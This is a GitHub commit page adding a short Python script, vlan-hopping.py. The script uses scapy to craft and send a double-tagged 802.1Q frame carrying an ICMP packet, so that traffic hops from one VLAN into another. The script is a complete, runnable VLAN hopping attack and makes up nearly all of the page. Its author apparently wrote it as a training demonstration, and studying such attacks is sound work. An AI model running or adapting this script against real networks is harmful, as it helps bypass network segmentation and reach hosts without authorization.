Skip to content

Commit

Permalink
Create vlan-hopping.py
Browse files Browse the repository at this point in the history
  • Loading branch information
davidbombal committed May 13, 2022
1 parent d8d4a88 commit c05791d
Showing 1 changed file with 18 additions and 0 deletions.
18 changes: 18 additions & 0 deletions vlan-hopping.py
@@ -0,0 +1,18 @@
#!/usr/bin/python3

#Import scapy
from scapy.all import *

#Craft packet with 802.1Q headers
packet = Ether(dst="ff:ff:ff:ff:ff:ff")/\
Dot1Q(vlan=1)/\
Dot1Q(vlan=2)/\
Dot1Q(vlan=2)/\
IP(src="10.1.2.3",dst="10.1.2.254")/\
ICMP()

#Show packet
packet.show()

#Sent packet
sendp(packet)

0 comments on commit c05791d

Please sign in to comment.